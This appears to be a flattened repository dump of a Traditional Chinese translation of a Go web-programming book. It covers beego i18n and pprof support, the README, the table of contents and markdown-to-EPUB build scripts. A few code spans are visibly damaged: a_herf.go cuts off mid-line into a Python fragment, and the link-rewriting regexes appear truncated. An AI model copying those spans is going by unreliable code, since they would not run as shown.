36 | s, ok = args[0].(string) 37 | } 38 | if !ok { 39 | s = fmt.Sprint(args...) 40 | } 41 | return beego.Translation.Translate(s) 42 | } 43 | 44 | func I18nTimeDate(args ...interface{}) string { 45 | ok := false 46 | var s string 47 | if len(args) == 1 { 48 | s, ok = args[0].(string) 49 | } 50 | if !ok { 51 | s = fmt.Sprint(args...) 52 | } 53 | return beego.Translation.Time(s) 54 | } 55 | 56 | func I18nMoney(args ...interface{}) string { 57 | ok := false 58 | var s string 59 | if len(args) == 1 { 60 | s, ok = args[0].(string) 61 | } 62 | if !ok { 63 | s = fmt.Sprint(args...) 64 | } 65 | return beego.Translation.Money(s) 66 | } 67 | ``` 68 | ## 多語言開發使用 69 | 1. 設定語言以及語言套件所在位置,然後初始化 i18n 物件: 70 | 71 | ```Go 72 | 73 | beego.Lang = "zh" 74 | beego.LangPath = "views/lang" 75 | beego.InitLang() 76 | ``` 77 | 2. 設計多語言套件 78 | 79 | 80 | 上面講了如何初始化多語言套件,現在設計多語言套件,多語言套件是 json 檔案,如第十章介紹的一樣,我們需要把設計的檔案放在 LangPath 下面,例如 zh.json 或者 en.json 81 | ```json 82 | 83 | # zh.json 84 | 85 | { 86 | "zh": { 87 | "submit": "提交", 88 | "create": "建立" 89 | } 90 | } 91 | 92 | # en.json 93 | 94 | { 95 | "en": { 96 | "submit": "Submit", 97 | "create": "Create" 98 | } 99 | } 100 | ``` 101 | 3. 使用語言套件 102 | 103 | 104 | 我們可以在 controller 中呼叫翻譯取得回應的翻譯語言,如下所示: 105 | 106 | ```Go 107 | 108 | func (this *MainController) Get() { 109 | this.Data["create"] = beego.Translation.Translate("create") 110 | this.TplNames = "index.tpl" 111 | } 112 | ``` 113 | 我們也可以在範本中直接呼叫回應的翻譯函式: 114 | 115 | ```Go 116 | 117 | //直接文字翻譯 118 | {{.create | Trans}} 119 | 120 | //時間翻譯 121 | {{.time | TransDate}} 122 | 123 | //貨幣翻譯 124 | {{.money | TransMoney}} 125 | ``` 126 | ## links 127 | * [目錄](preface.md) 128 | * 上一節: [使用者認證](14.4.md) 129 | * 下一節: [pprof 支援](14.6.md) 130 | 131 | -------------------------------------------------------------------------------- /14.6.md: -------------------------------------------------------------------------------- 1 | # 14.6 pprof 支援 2 | Go 語言有一個非常棒的設計就是標準函式庫裡面帶有程式碼的效能監聽工具,在兩個地方有套件: 3 | 4 | ```Go 5 | 6 | net/http/pprof 7 | 8 | runtime/pprof 9 | ``` 10 | 其實 net/http/pprof 中只是使用 runtime/pprof 套件來進行封裝了一下,並在 http 埠上暴露出來 11 | 12 | ## beego 支援 pprof 13 | 14 | 目前 beego 框架新增了 pprof,該特性預設是不開啟的,如果你需要測試效能,檢視相應的執行 goroutine 之類別的資訊,其實 Go 的預設套件"net/http/pprof"已經具有該功能,如果按照 Go 預設的方式執行 Web,預設就可以使用,但是由於 beego 重新封裝了 ServHTTP 函式,預設的套件是無法開啟該功能的,所以需要對 beego 的內部改造支援 pprof。 15 | 16 | - 首先在 beego.Run 函式中根據變數是否自動載入效能套件 17 | 18 | ```Go 19 | 20 | if PprofOn { 21 | BeeApp.RegisterController(`/debug/pprof`, &ProfController{}) 22 | BeeApp.RegisterController(`/debug/pprof/:pp([\w]+)`, &ProfController{}) 23 | } 24 | ``` 25 | - 設計 ProfController 26 | 27 | ```Go 28 | 29 | package beego 30 | 31 | import ( 32 | "net/http/pprof" 33 | ) 34 | 35 | type ProfController struct { 36 | Controller 37 | } 38 | 39 | func (this *ProfController) Get() { 40 | switch this.Ctx.Param[":pp"] { 41 | default: 42 | pprof.Index(this.Ctx.ResponseWriter, this.Ctx.Request) 43 | case "": 44 | pprof.Index(this.Ctx.ResponseWriter, this.Ctx.Request) 45 | case "cmdline": 46 | pprof.Cmdline(this.Ctx.ResponseWriter, this.Ctx.Request) 47 | case "profile": 48 | pprof.Profile(this.Ctx.ResponseWriter, this.Ctx.Request) 49 | case "symbol": 50 | pprof.Symbol(this.Ctx.ResponseWriter, this.Ctx.Request) 51 | } 52 | this.Ctx.ResponseWriter.WriteHeader(200) 53 | } 54 | ``` 55 | 56 | ## 使用入門 57 | 58 | 透過上面的設計,你可以透過如下程式碼開啟 pprof: 59 | 60 | ```Go 61 | 62 | beego.PprofOn = true 63 | ``` 64 | 然後你就可以在瀏覽器中開啟如下 URL 就看到如下介面: 65 | ![](images/14.6.pprof.png) 66 | 67 | 圖 14.7 系統當前 goroutine、heap、thread 資訊 68 | 69 | 點選 goroutine 我們可以看到很多詳細的資訊: 70 | 71 | ![](images/14.6.pprof2.png) 72 | 73 | 圖 14.8 顯示當前 goroutine 的詳細資訊 74 | 75 | 我們還可以透過命令列取得更多詳細的資訊 76 | 77 | ```Go 78 | 79 | go tool pprof http://localhost:8080/debug/pprof/profile 80 | ``` 81 | 這時候程式就會進入 30 秒的 profile 收集時間,在這段時間內拼命重新整理瀏覽器上的頁面,儘量讓 cpu 佔用效能產生資料。 82 | 83 | (pprof) top10 84 | 85 | Total: 3 samples 86 | 87 | 1 33.3% 33.3% 1 33.3% MHeap_AllocLocked 88 | 89 | 1 33.3% 66.7% 1 33.3% os/exec.(*Cmd).closeDescriptors 90 | 91 | 1 33.3% 100.0% 1 33.3% runtime.sigprocmask 92 | 93 | 0 0.0% 100.0% 1 33.3% MCentral_Grow 94 | 95 | 0 0.0% 100.0% 2 66.7% main.Compile 96 | 97 | 0 0.0% 100.0% 2 66.7% main.compile 98 | 99 | 0 0.0% 100.0% 2 66.7% main.run 100 | 101 | 0 0.0% 100.0% 1 33.3% makeslice1 102 | 103 | 0 0.0% 100.0% 2 66.7% net/http.(*ServeMux).ServeHTTP 104 | 105 | 0 0.0% 100.0% 2 66.7% net/http.(*conn).serve 106 | 107 | (pprof)web 108 | 109 | ![](images/14.6.pprof3.png) 110 | 111 | 圖 14.9 展示的執行流程資訊 112 | 113 | ## links 114 | * [目錄](preface.md) 115 | * 上一節: [多語言支援](14.5.md) 116 | * 下一節: [小結](14.7.md) 117 | -------------------------------------------------------------------------------- /14.7.md: -------------------------------------------------------------------------------- 1 | # 14.7 小結 2 | 這一章主要闡述了如何基於 beego 框架進行擴充套件,這包括靜態檔案的支援,靜態檔案主要講述了如何利用 beego 進行快速的網站開發,利用 bootstrap 建立漂亮的站點;第二小結講解了如何在 beego 中整合 sessionManager,方便使用者在利用 beego 的時候快速的使用 session;第三小結介紹了表單和驗證,基於 Go 語言的 struct 的定義使得我們在開發 Web 的過程中從重複的工作中解放出來,而且加入了驗證之後可以儘量做到資料安全,第四小結介紹了使用者認證,使用者認證主要有三方面的需求,http basic 和 http digest 認證,第三方認證,自訂認證,透過程式碼示範了如何利用現有的第三方套件整合到 beego 應用中來實現這些認證;第五小節介紹了多語言的支援,beego 中集成了 go-i18n 這個多語言套件,使用者可以很方便的利用該函式庫開發多語言的 Web 應用;第六小節介紹了如何整合 Go 的 pprof 套件,pprof 套件是用於效能除錯的工具,透過對 beego 的改造之後集成了 pprof 套件,使得使用者可以利用 pprof 測試基於 beego 開發的應用,透過這六個小節的介紹我們擴展出來了一個比較強壯的 beego 框架,這個框架足以應付目前大多數的 Web 應用,使用者可以繼續發揮自己的想象力去擴充套件,我這裡只是簡單的介紹了我能想的到的幾個比較重要的擴充套件。 3 | 4 | ## links 5 | * [目錄](preface.md) 6 | * 上一節: [pprof 支援](14.6.md) -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # 使用 Golang 打造 Web 應用程式 2 | 3 | 這本書是專為 Golang 新手開發者所寫,原始內容皆來自 [Build Web Application with Golang](https://github.com/astaxie/build-web-application-with-golang) 專案,感謝所有貢獻者的付出與努力,希望大家會喜歡。 4 | 5 | ## Purpose 6 | 7 | Because I'm interested in web application development, I used my free time to write this book as an open source version. It doesn't mean that I have a very good ability to build web applications; I would like to share what I've done with Go in building web applications. 8 | 9 | * For those of you who are working with PHP/Python/Ruby, you will learn how to build a web application with Go. 10 | * For those of you who are working with C/C++, you will know how the web works. 11 | 12 | I believe the purpose of studying is sharing with others. The happiest thing in my life is sharing everything I've known with more people. 13 | 14 | ## Acknowledgments 15 | 16 | * [四月份平民 April Citizen](https://plus.google.com/110445767383269817959) (review code) 17 | * [洪瑞琦 Hong Ruiqi](https://github.com/hongruiqi) (review code) 18 | * [边 疆 BianJiang](https://github.com/border) (write the configurations about Vim and Emacs for Go development) 19 | * [欧林猫 Oling Cat](https://github.com/OlingCat) (review code) 20 | * [吴文磊 Wenlei Wu](spadesacn@gmail.com) (provide some pictures) 21 | * [北极星 Polaris](https://github.com/polaris1119) (review whole book) 22 | * [雨 痕 Rain Trail](https://github.com/qyuhen) (review chapter 2 and 3) 23 | 24 | ## License 25 | 26 | This book is licensed under the [CC BY-SA 3.0 License](http://creativecommons.org/licenses/by-sa/3.0/), the code is licensed under a [BSD 3-Clause License](https://github.com/astaxie/build-web-application-with-golang/blob/master/LICENSE.md), unless otherwise specified. 27 | 28 | ## 正體中文翻譯 29 | 30 | * **Will 保哥** 31 | * [Blog (The Will Will Web)](https://blog.miniasp.com/) 32 | * [Twitter (Will Huang)](https://twitter.com/Will_Huang) 33 | * [Facebook (Will 保哥的技術交流中心)](https://www.facebook.com/will.fans/) -------------------------------------------------------------------------------- /SUMMARY.md: -------------------------------------------------------------------------------- 1 | * [Go 環境配置](01.0.md) 2 | * [Go 安裝](01.1.md) 3 | * [GOPATH 與工作空間](01.2.md) 4 | * [Go 命令](01.3.md) 5 | * [Go 開發工具](01.4.md) 6 | * [小結](01.5.md) 7 | * [Go 語言基礎](02.0.md) 8 | * [你好,Go](02.1.md) 9 | * [Go 基礎](02.2.md) 10 | * [流程和函式](02.3.md) 11 | * [struct](02.4.md) 12 | * [物件導向](02.5.md) 13 | * [interface](02.6.md) 14 | * [併發](02.7.md) 15 | * [小結](02.8.md) 16 | * [Web 基礎](03.0.md) 17 | * [web 工作方式](03.1.md) 18 | * [Go 建立一個簡單的 web 服務](03.2.md) 19 | * [Go 如何使得 web 工作](03.3.md) 20 | * [Go 的 http 套件詳解](03.4.md) 21 | * [小結](03.5.md) 22 | * [表單](04.0.md) 23 | * [處理表單的輸入](04.1.md) 24 | * [驗證表單的輸入](04.2.md) 25 | * [預防跨站指令碼](04.3.md) 26 | * [防止多次提交表單](04.4.md) 27 | * [處理檔案上傳](04.5.md) 28 | * [小結](04.6.md) 29 | * [存取資料庫](05.0.md) 30 | * [database/sql 介面](05.1.md) 31 | * [使用 MySQL 資料庫](05.2.md) 32 | * [使用 SQLite 資料庫](05.3.md) 33 | * [使用 PostgreSQL 資料庫](05.4.md) 34 | * [使用 beedb 函式庫進行 ORM 開發](05.5.md) 35 | * [NoSQL 資料庫操作](05.6.md) 36 | * [小結](05.7.md) 37 | * [session 和資料儲存](06.0.md) 38 | * [session 和 cookie](06.1.md) 39 | * [Go 如何使用 session](06.2.md) 40 | * [session 儲存](06.3.md) 41 | * [預防 session 劫持](06.4.md) 42 | * [小結](06.5.md) 43 | * [文字檔案處理](07.0.md) 44 | * [XML 處理](07.1.md) 45 | * [JSON 處理](07.2.md) 46 | * [正則處理](07.3.md) 47 | * [範本處理](07.4.md) 48 | * [檔案操作](07.5.md) 49 | * [字串處理](07.6.md) 50 | * [小結](07.7.md) 51 | * [Web 服務](08.0.md) 52 | * [Socket 程式設計](08.1.md) 53 | * [WebSocket](08.2.md) 54 | * [REST](08.3.md) 55 | * [RPC](08.4.md) 56 | * [小結](08.5.md) 57 | * [安全與加密](09.0.md) 58 | * [預防 CSRF 攻擊](09.1.md) 59 | * [確保輸入過濾](09.2.md) 60 | * [避免 XSS 攻擊](09.3.md) 61 | * [避免 SQL 注入](09.4.md) 62 | * [儲存密碼](09.5.md) 63 | * [加密和解密資料](09.6.md) 64 | * [小結](09.7.md) 65 | * [國際化和本地化](10.0.md) 66 | * [設定預設地區](10.1.md) 67 | * [本地化資源](10.2.md) 68 | * [國際化站點](10.3.md) 69 | * [小結](10.4.md) 70 | * [錯誤處理,除錯和測試](11.0.md) 71 | * [錯誤處理](11.1.md) 72 | * [使用 GDB 除錯](11.2.md) 73 | * [Go 怎麼寫測試案例](11.3.md) 74 | * [小結](11.4.md) 75 | * [部署與維護](12.0.md) 76 | * [應用日誌](12.1.md) 77 | * [網站錯誤處理](12.2.md) 78 | * [應用部署](12.3.md) 79 | * [備份和還原](12.4.md) 80 | * [小結](12.5.md) 81 | * [如何設計一個 Web 框架](13.0.md)  82 | * [專案規劃](13.1.md)  83 | * [自訂路由器設計](13.2.md) 84 | * [controller 設計](13.3.md) 85 | * [日誌和配置設計](13.4.md) 86 | * [實現部落格的增刪改](13.5.md) 87 | * [小結](13.6.md)  88 | * [擴充套件 Web 框架](14.0.md) 89 | * [靜態檔案支援](14.1.md) 90 | * [Session 支援](14.2.md) 91 | * [表單支援](14.3.md) 92 | * [使用者認證](14.4.md) 93 | * [多語言支援](14.5.md) 94 | * [pprof 支援](14.6.md) 95 | * [小結](14.7.md) 96 | * [參考資料](ref.md) -------------------------------------------------------------------------------- /a_herf.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import( 4 | "fmt" 5 | "log" 6 | "os" 7 | "path/filepath" 8 | "sort" 9 | ) 10 | func dir()([]string,error) { 11 | path, err := os.Getwd() 12 | if err != nil { 13 | fmt.Println("err is:", err) 14 | } 15 | log.Println(path) 16 | path =path +"/*.html" 17 | 18 | fmt.Println(path) 19 | files,err := filepath.Glob(path) 20 | var s =make([]string,len(files)) 21 | var head uint8 =0 22 | for _,k :=range files { 23 | filename := filepath.Base(k) 24 | head=filename[0] 25 | if (head < 52) { 26 | s = append(s, filename) 27 | fmt.Println(filename) 28 | } 29 | } 30 | sort.Strings(s) 31 | 32 | return s,err 33 | } 34 | 35 | 36 | func htmlfile(filename string,next_path string,last_path string)(error){ 37 | file,err:= os.OpenFile("./"+filename,os.O_RDWR,0666) 38 | if err !=nil{ 39 | fmt.Println("something is err :",err) 40 | } 41 | defer file.Close() 42 | var add_string1 string = "\n下一页\n" 43 | var add_string2 string = "\n下一页\n" 44 | file.Seek(1,2) 45 | _,err=file.WriteString(add_string1) 46 | _,err=file.WriteString(add_string2) 47 | file.Seek(0,0) 48 | if(err!=nil){ 49 | fmt.Println("err:",err) 50 | } 51 | var f =make([]byte,50000) 52 | _,err=file.Read(f) 53 | if(err!=nil){ 54 | fmt.Println("error:",err) 55 | } 56 | //fmt.Println(string(f)) 57 | return err 58 | } 59 | func nextandlast(filenames []string,index int )(filename string,next_path string,last_path string){ 60 | fmt.Println(index," ---",index+1) 61 | filename = filenames[index] 62 | if(0下一页\n') 26 | f.write('\n上一页\n') 27 | 28 | k = k+1 29 | print("end!") 30 | -------------------------------------------------------------------------------- /build.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "bufio" 5 | "fmt" 6 | "github.com/a8m/mark" 7 | "io/ioutil" 8 | "os" 9 | "path/filepath" 10 | "regexp" 11 | "strings" 12 | ) 13 | 14 | // 定义一个访问者结构体 15 | type Visitor struct{} 16 | 17 | func (self *Visitor) md2html(arg map[string]string) error { 18 | from := arg["from"] 19 | to := arg["to"] 20 | s := ` 21 | ` 22 | err := filepath.Walk(from+"/", func(path string, f os.FileInfo, err error) error { 23 | if f == nil { 24 | return err 25 | } 26 | if f.IsDir() { 27 | return nil 28 | } 29 | if (f.Mode() & os.ModeSymlink) > 0 { 30 | return nil 31 | } 32 | if !strings.HasSuffix(f.Name(), ".md") { 33 | return nil 34 | } 35 | 36 | file, err := os.Open(path) 37 | if err != nil { 38 | return err 39 | } 40 | 41 | input_byte, _ := ioutil.ReadAll(file) 42 | input := string(input_byte) 43 | input = regexp.MustCompile(`\[(.*?)\]\(?\)`).ReplaceAllString(input, "[$1](<$2.html>)") 44 | 45 | if f.Name() == "README.md" { 46 | input = regexp.MustCompile(`https:\/\/github\.com\/astaxie\/build-web-application-with-golang\/blob\/master\/`).ReplaceAllString(input, "") 47 | } 48 | 49 | // 以#开头的行,在#后增加空格 50 | // 以#开头的行, 删除多余的空格 51 | input = FixHeader(input) 52 | 53 | // 删除页面链接 54 | input = RemoveFooterLink(input) 55 | 56 | // remove image suffix 57 | input = RemoveImageLinkSuffix(input) 58 | 59 | var out *os.File 60 | filename := strings.Replace(f.Name(), ".md", ".html", -1) 61 | fmt.Println(to + "/" + filename) 62 | if out, err = os.Create(to + "/" + filename); err != nil { 63 | fmt.Fprintf(os.Stderr, "Error creating %s: %v", f.Name(), err) 64 | os.Exit(-1) 65 | } 66 | defer out.Close() 67 | opts := mark.DefaultOptions() 68 | opts.Smartypants = true 69 | opts.Fractions = true 70 | // r1 := []rune(s1) 71 | m := mark.New(input, opts) 72 | w := bufio.NewWriter(out) 73 | n4, err := w.WriteString(s + m.Render()) 74 | fmt.Printf("wrote %d bytes\n", n4) 75 | w.Flush() 76 | if err != nil { 77 | fmt.Fprintln(os.Stderr, "Parsing Error", err) 78 | os.Exit(-1) 79 | } 80 | 81 | return nil 82 | }) 83 | return err 84 | } 85 | 86 | func FixHeader(input string) string { 87 | re_header := regexp.MustCompile(`(?m)^#.+$`) 88 | re_sub := regexp.MustCompile(`^(#+)\s*(.+)$`) 89 | fixer := func(header string) string { 90 | s := re_sub.FindStringSubmatch(header) 91 | return s[1] + " " + s[2] 92 | } 93 | return re_header.ReplaceAllStringFunc(input, fixer) 94 | } 95 | 96 | func RemoveFooterLink(input string) string { 97 | re_footer := regexp.MustCompile(`(?m)^#{2,} links.*?\n(.+\n)*`) 98 | return re_footer.ReplaceAllString(input, "") 99 | } 100 | 101 | func RemoveImageLinkSuffix(input string) string { 102 | re_footer := regexp.MustCompile(`png\?raw=true`) 103 | return re_footer.ReplaceAllString(input, "png") 104 | } 105 | 106 | func main() { 107 | tmp := os.Getenv("TMP") 108 | if tmp == "" { 109 | tmp = "." 110 | } 111 | 112 | workdir := os.Getenv("WORKDIR") 113 | if workdir == "" { 114 | workdir = "." 115 | } 116 | 117 | arg := map[string]string{ 118 | "from": workdir, 119 | "to": tmp, 120 | } 121 | 122 | v := &Visitor{} 123 | err := v.md2html(arg) 124 | if err != nil { 125 | fmt.Printf("filepath.Walk() returned %v\n", err) 126 | } 127 | } 128 | -------------------------------------------------------------------------------- /build.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | SED='sed' 4 | 5 | if [ `uname -s` == 'Darwin' ] ; then 6 | SED='gsed' 7 | fi 8 | 9 | bn="`basename $0`" 10 | WORKDIR="$(cd $(dirname $0); pwd -P)" 11 | 12 | # 13 | # Default language: zh 14 | # You can overwrite following variables in config file. 15 | # 16 | MSG_INSTALL_PANDOC_FIRST='请先安装pandoc,然后再次运行' 17 | MSG_SUCCESSFULLY_GENERATED='build-web-application-with-golang.epub 已经建立' 18 | MSG_CREATOR='Astaxie' 19 | MSG_DESCRIPTION='一本开源的Go Web编程书籍' 20 | MSG_LANGUAGE='zh-CN' 21 | MSG_TITLE='Go Web编程' 22 | [ -e "$WORKDIR/config" ] && . "$WORKDIR/config" 23 | 24 | 25 | TMP=`mktemp -d 2>/dev/null || mktemp -d -t "${bn}"` || exit 1 26 | # TMP=./build 27 | # trap 'rm -rf "$TMP"' 0 1 2 3 15 28 | 29 | 30 | cd "$TMP" 31 | 32 | ( 33 | [ go list github.com/a8m/mark >/dev/null 2>&1 ] || export GOPATH="$PWD" 34 | go get -u github.com/a8m/mark 35 | WORKDIR="$WORKDIR" TMP="$TMP" go run "$WORKDIR/build.go" 36 | ) 37 | 38 | if [ ! type -P pandoc >/dev/null 2>&1 ]; then 39 | echo "$MSG_INSTALL_PANDOC_FIRST" 40 | exit 0 41 | fi 42 | 43 | cat <<__METADATA__ > metadata.txt 44 | $MSG_CREATOR 45 | $MSG_DESCRIPTION 46 | $MSG_LANGUAGE 47 | Creative Commons 48 | $MSG_TITLE 49 | __METADATA__ 50 | 51 | mkdir -p $TMP/images 52 | cp -r $WORKDIR/images/* $TMP/images/ 53 | ls [0-9]*.html | xargs $SED -i "s/png?raw=true/png/g" 54 | 55 | echo "工作目录$WORKDIR, 临时目录$TMP" 56 | 57 | pandoc --reference-links -S --toc -f html -t epub --epub-metadata=metadata.txt --epub-cover-image="$WORKDIR/images/cover.png" -o "$WORKDIR/build-web-application-with-golang.epub" `ls [0-9]*.html | sort` 58 | 59 | echo "$MSG_SUCCESSFULLY_GENERATED" 60 | -------------------------------------------------------------------------------- /build_new.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "fmt" 5 | "io/ioutil" 6 | "bufio" 7 | "net/http" 8 | "os" 9 | "path/filepath" 10 | "regexp" 11 | "strings" 12 | ) 13 | 14 | // 开发者 github token 15 | const token = "" 16 | 17 | // 定义一个访问者结构体 18 | type Visitor struct{} 19 | 20 | func (self *Visitor) md2html(arg map[string]string) error { 21 | from := arg["from"] 22 | to := arg["to"] 23 | s := ` 24 | ` 25 | err := filepath.Walk(from+"/", func(path string, f os.FileInfo, err error) error { 26 | if f == nil { 27 | return err 28 | } 29 | if f.IsDir() { 30 | return nil 31 | } 32 | if (f.Mode() & os.ModeSymlink) > 0 { 33 | return nil 34 | } 35 | if !strings.HasSuffix(f.Name(), ".md") { 36 | return nil 37 | } 38 | 39 | file, err := os.Open(path) 40 | if err != nil { 41 | return err 42 | } 43 | 44 | input_byte, _ := ioutil.ReadAll(file) 45 | input := string(input_byte) 46 | input = regexp.MustCompile(`\[(.*?)\]\(?\)`).ReplaceAllString(input, "[$1](<$2.html>)") 47 | 48 | if f.Name() == "README.md" { 49 | input = regexp.MustCompile(`https:\/\/github\.com\/astaxie\/build-web-application-with-golang\/blob\/master\/`).ReplaceAllString(input, "") 50 | } 51 | 52 | // 以#开头的行,在#后增加空格 53 | // 以#开头的行, 删除多余的空格 54 | input = FixHeader(input) 55 | 56 | // 删除页面链接 57 | input = RemoveFooterLink(input) 58 | 59 | // remove image suffix 60 | input = RemoveImageLinkSuffix(input) 61 | 62 | var out *os.File 63 | filename := strings.Replace(f.Name(), ".md", ".html", -1) 64 | fmt.Println(to + "/" + filename) 65 | if out, err = os.Create(to + "/" + filename); err != nil { 66 | fmt.Fprintf(os.Stderr, "Error creating %s: %v", f.Name(), err) 67 | os.Exit(-1) 68 | } 69 | defer out.Close() 70 | client := &http.Client{} 71 | 72 | req, err := http.NewRequest("POST", "https://api.github.com/markdown/raw", strings.NewReader(input)) 73 | if err != nil { 74 | // handle error 75 | } 76 | 77 | req.Header.Set("Content-Type", "text/plain") 78 | req.Header.Set("charset", "utf-8") 79 | req.Header.Set("Authorization", "token "+token) 80 | // 81 | resp, err := client.Do(req) 82 | 83 | defer resp.Body.Close() 84 | 85 | body, err := ioutil.ReadAll(resp.Body) 86 | if err != nil { 87 | // handle error 88 | } 89 | 90 | w := bufio.NewWriter(out) 91 | n4, err := w.WriteString(s + string(body)) //m.Render() 92 | fmt.Printf("wrote %d bytes\n", n4) 93 | // fmt.Printf("wrote %d bytes\n", n4) 94 | //使用 Flush 来确保所有缓存的操作已写入底层写入器。 95 | w.Flush() 96 | if err != nil { 97 | fmt.Fprintln(os.Stderr, "Parsing Error", err) 98 | os.Exit(-1) 99 | } 100 | 101 | return nil 102 | }) 103 | return err 104 | } 105 | 106 | func FixHeader(input string) string { 107 | re_header := regexp.MustCompile(`(?m)^#.+$`) 108 | re_sub := regexp.MustCompile(`^(#+)\s*(.+)$`) 109 | fixer := func(header string) string { 110 | s := re_sub.FindStringSubmatch(header) 111 | return s[1] + " " + s[2] 112 | } 113 | return re_header.ReplaceAllStringFunc(input, fixer) 114 | } 115 | 116 | func RemoveFooterLink(input string) string { 117 | re_footer := regexp.MustCompile(`(?m)^#{2,} links.*?\n(.+\n)*`) 118 | return re_footer.ReplaceAllString(input, "") 119 | } 120 | 121 | func RemoveImageLinkSuffix(input string) string { 122 | re_footer := regexp.MustCompile(`png\?raw=true`) 123 | return re_footer.ReplaceAllString(input, "png") 124 | } 125 | 126 | func main() { 127 | tmp := os.Getenv("TMP") 128 | if tmp == "" { 129 | tmp = "." 130 | } 131 | 132 | workdir := os.Getenv("WORKDIR") 133 | if workdir == "" { 134 | workdir = "." 135 | } 136 | 137 | arg := map[string]string{ 138 | "from": workdir, 139 | "to": tmp, 140 | } 141 | 142 | v := &Visitor{} 143 | err := v.md2html(arg) 144 | if err != nil { 145 | fmt.Printf("filepath.Walk() returned %v\n", err) 146 | } 147 | } 148 | -------------------------------------------------------------------------------- /build_new.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | SED='sed' 4 | 5 | if [ `uname -s` == 'Darwin' ] ; then 6 | SED='gsed' 7 | fi 8 | 9 | bn="`basename $0`" 10 | WORKDIR="$(cd $(dirname $0); pwd -P)" 11 | 12 | # 13 | # Default language: zh 14 | # You can overwrite following variables in config file. 15 | # 16 | MSG_INSTALL_PANDOC_FIRST='请先安装pandoc,然后再次运行' 17 | MSG_SUCCESSFULLY_GENERATED='build-web-application-with-golang.epub 已经建立' 18 | MSG_CREATOR='M2shad0w' 19 | MSG_DESCRIPTION='一本开源的Go Web编程书籍' 20 | MSG_LANGUAGE='zh-CN' 21 | MSG_TITLE='Go Web编程' 22 | [ -e "$WORKDIR/config" ] && . "$WORKDIR/config" 23 | 24 | 25 | TMP=`mktemp -d 2>/dev/null || mktemp -d -t "${bn}"` || exit 1 26 | # TMP=./build 27 | trap 'rm -rf "$TMP"' 0 1 2 3 15 28 | 29 | 30 | cd "$TMP" 31 | 32 | ( 33 | # [ go list github.com/a8m/mark >/dev/null 2>&1 ] || export GOPATH="$PWD" 34 | # go get -u github.com/a8m/mark 35 | WORKDIR="$WORKDIR" TMP="$TMP" go run "$WORKDIR/build_new.go" 36 | ) 37 | 38 | if [ ! type -P pandoc >/dev/null 2>&1 ]; then 39 | echo "$MSG_INSTALL_PANDOC_FIRST" 40 | exit 0 41 | fi 42 | 43 | cat <<__METADATA__ > metadata.txt 44 | $MSG_CREATOR 45 | $MSG_DESCRIPTION 46 | $MSG_LANGUAGE 47 | Creative Commons 48 | $MSG_TITLE 49 | __METADATA__ 50 | 51 | mkdir -p $TMP/images 52 | cp -r $WORKDIR/images/* $TMP/images/ 53 | ls [0-9]*.html | xargs $SED -i "s/png?raw=true/png/g" 54 | 55 | echo "工作目录$WORKDIR, 临时目录$TMP" 56 | 57 | pandoc --reference-links -S --toc -f html -t epub --epub-metadata=metadata.txt --epub-cover-image="$WORKDIR/images/cover.png" -o "$WORKDIR/build-web-application-with-golang.epub" `ls [0-9]*.html | sort` 58 | 59 | echo "$MSG_SUCCESSFULLY_GENERATED" 60 | -------------------------------------------------------------------------------- /images/1.1.cmd.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/doggy8088/build-web-application-with-golang-zhtw/6f78a19ff83725ed311e47c1306b56c5b1e6204d/images/1.1.cmd.png -------------------------------------------------------------------------------- /images/1.1.linux.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/doggy8088/build-web-application-with-golang-zhtw/6f78a19ff83725ed311e47c1306b56c5b1e6204d/images/1.1.linux.png -------------------------------------------------------------------------------- /images/1.1.mac.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/doggy8088/build-web-application-with-golang-zhtw/6f78a19ff83725ed311e47c1306b56c5b1e6204d/images/1.1.mac.png -------------------------------------------------------------------------------- /images/1.3.go.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/doggy8088/build-web-application-with-golang-zhtw/6f78a19ff83725ed311e47c1306b56c5b1e6204d/images/1.3.go.png -------------------------------------------------------------------------------- /images/1.4.eclipse1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/doggy8088/build-web-application-with-golang-zhtw/6f78a19ff83725ed311e47c1306b56c5b1e6204d/images/1.4.eclipse1.png -------------------------------------------------------------------------------- /images/1.4.eclipse2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/doggy8088/build-web-application-with-golang-zhtw/6f78a19ff83725ed311e47c1306b56c5b1e6204d/images/1.4.eclipse2.png -------------------------------------------------------------------------------- /images/1.4.eclipse3.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/doggy8088/build-web-application-with-golang-zhtw/6f78a19ff83725ed311e47c1306b56c5b1e6204d/images/1.4.eclipse3.png -------------------------------------------------------------------------------- /images/1.4.eclipse4.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/doggy8088/build-web-application-with-golang-zhtw/6f78a19ff83725ed311e47c1306b56c5b1e6204d/images/1.4.eclipse4.png -------------------------------------------------------------------------------- /images/1.4.eclipse5.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/doggy8088/build-web-application-with-golang-zhtw/6f78a19ff83725ed311e47c1306b56c5b1e6204d/images/1.4.eclipse5.png -------------------------------------------------------------------------------- /images/1.4.eclipse6.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/doggy8088/build-web-application-with-golang-zhtw/6f78a19ff83725ed311e47c1306b56c5b1e6204d/images/1.4.eclipse6.png -------------------------------------------------------------------------------- /images/1.4.emacs.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/doggy8088/build-web-application-with-golang-zhtw/6f78a19ff83725ed311e47c1306b56c5b1e6204d/images/1.4.emacs.png -------------------------------------------------------------------------------- /images/1.4.idea1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/doggy8088/build-web-application-with-golang-zhtw/6f78a19ff83725ed311e47c1306b56c5b1e6204d/images/1.4.idea1.png -------------------------------------------------------------------------------- /images/1.4.idea2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/doggy8088/build-web-application-with-golang-zhtw/6f78a19ff83725ed311e47c1306b56c5b1e6204d/images/1.4.idea2.png -------------------------------------------------------------------------------- /images/1.4.idea3.png: 